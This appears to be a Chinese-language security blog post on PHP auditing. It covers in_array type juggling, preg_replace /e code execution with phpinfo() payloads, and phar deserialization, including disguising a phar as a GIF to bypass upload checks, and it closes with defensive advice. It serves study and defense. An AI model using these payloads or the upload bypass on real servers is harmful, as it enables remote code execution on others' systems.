PHP 漏洞

PHP 相关

基本思路

两种思路:由危险函数回溯寻找可利用的点;或者整体理解代码,寻找其中的可能存在问题的部分审计。

危险函数

in_array 类型转换

1
bool in_array ( mixed $needle, array $haystack [, bool $strict = FALSE ])

该函数检测数组中是否存在某个值,默认情况下会进行类型转换,将$needle转换为$haystack中元素的类型。

1
2
in_array('1shell', range(0,5));
// true

preg_replace 的代码执行

preg_replace 函数在第一个参数包含 /e修饰符时存在代码执行问题,会将第二个参数当作 php 代码执行。

1
2
3
4
5
6
function complex($regex, $value) {
return preg_replace('/('.$regex.')/ei', 'strtolower("\\1")', $value)
}
function ($_GET as $regex => $value) {
echo complex($regex, $value)."\n";
}

命令执行时,相当于eval('strtolower("\\1");')\\1就是\1\1在正则表达式中有自己的含义,指的是第一个子匹配项。

对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

payload: /?.*={${phpinfo()}},对应 preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});

直接写这个 preg_replace 语句可以执行 phpinfo,但是通过 get 传参时,.会被转换成_,php 会将一些非法的 get 数组参数名转化成下划线,非法字符为首字符时,只有.会被替换成下划线,在其他位置时,ascii码为 32, 43, 46, 91, 95 的也会被替换成下划线。

可以换一个 payload: \$*=${phpinfo()}

需要匹配到{${phpinfo()}}或者${phpinfo()}才能执行phpinfo函数。因为php存在可变变量,当phpinfo执行之后会返回 true,相当于${1}

1
2
3
4
5
6
7
var_dump(phpinfo()); // 结果:布尔 true
var_dump(strtolower(phpinfo()));// 结果:字符串 '1'
var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}'));// 结果:字符串'11'

var_dump(preg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}'));// 结果:空字符串''
var_dump(preg_replace('/(.*)/ie','strtolower("{${phpinfo()}}")','{${phpinfo()}}'));// 结果:空字符串''
这里的'strtolower("{${phpinfo()}}")'执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串

phar 反序列化

phar文件结构

  • stub

格式为 .*<?php.*__HALT_COMPILER\(\);?>,即以__HALT_COMPILER()?>结尾的可以被识别为phar文件。

  • manifest

phar文件本质上是一种压缩文件,每个被压缩文件的权限、属性信息存放在这部分,同时用户自定义的meta-data也会以序列化方式存储在这里(核心内容)

size(bytes) description
4 Length of manifest in bytes(1 MB limit)
4 Number of files in th Phar
2 API version of the Phar manifest (currently 1.0.0)
4 Global Phar bitmapped flags
4 Length of Phar alias
? Phar alias (length based on previous)
4 Length of Phar metadata (0 for none)
? Serialized Phar Meta-data, stored in serialize() format
at least 24*number of entries bytes entries for each file
  • contents

文件内容

  • signature(optional)

签名,可以添加来验证文件。

demo

根据以上信息构建一个phar文件,php内置phar类处理相关操作

要将php.ini中的phar.readonly设置为Off,否则无法生存phar文件。

Ubuntu 中的位置 /usr/local/php/etc/php.ini

phar_gen.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

生成的phar的meta-data部分是以序列化方式存储的。

php的许多文件系统函数在通过 phar://协议解析phar文件时会将meta-data反序列化

受影响的函数
fileatime filectime file_exists file_get_contents
file_put_contents file filegroup fopen
fileinode filemtime fileowner fileperms
is_dir is_executable is_file is_link
is_readable is_writable is_writeable parse_in_file
copy unlink stat readfile

demo

1
2
3
4
5
6
7
8
9
10
11
<?php 
class TestObject {
public function __destruct() {
echo 'Destruct called';
}
}

$filename = 'phar://phar.phar/a_random_string';
file_exists($filename);
//......
?>

当文件系统函数参数可控时,可以再不调用unserialize()的情况下反序列化。

测试

phar_test1.php

1
2
3
4
5
6
7
8
9
10
<?php 
class TestObject {
public function __destruct() {
echo 'Destruct called';
}
}

$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename);
?>

运行一下,得到Destruct called

再试一下file_exist(),phar_test2.php

1
2
3
4
5
6
7
8
9
10
11
<?php 
class TestObject {
public function __destruct() {
echo 'Destruct called';
}
}

$filename = 'phar://phar.phar/a_random_string';
file_exists($filename);
//......
?>

也可以得到Destruct called

将phar伪造成其他格式文件

php识别phar是通过文件头的stub,对其他内容没有要求,因此可以通过添加任意文件头和修改后缀名的方式将phar文件伪造成其他格式的文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

可以用于绕过上传检测。

利用条件

  1. phar文件能够上传到服务器
  2. 有可用的魔术方法作为跳板
  3. 文件操作函数参数可控,且 : / phar等没有被过滤

防御

  1. 文件系统函数参数可控时,严格检查参数
  2. 检查上传文件内容,而不是只检查文件头
  3. 可能的话禁用可执行系统命令、代码的危险函数

MD5

0e00275209979

作者

lll

发布于

2020-05-10

更新于

2022-09-19

许可协议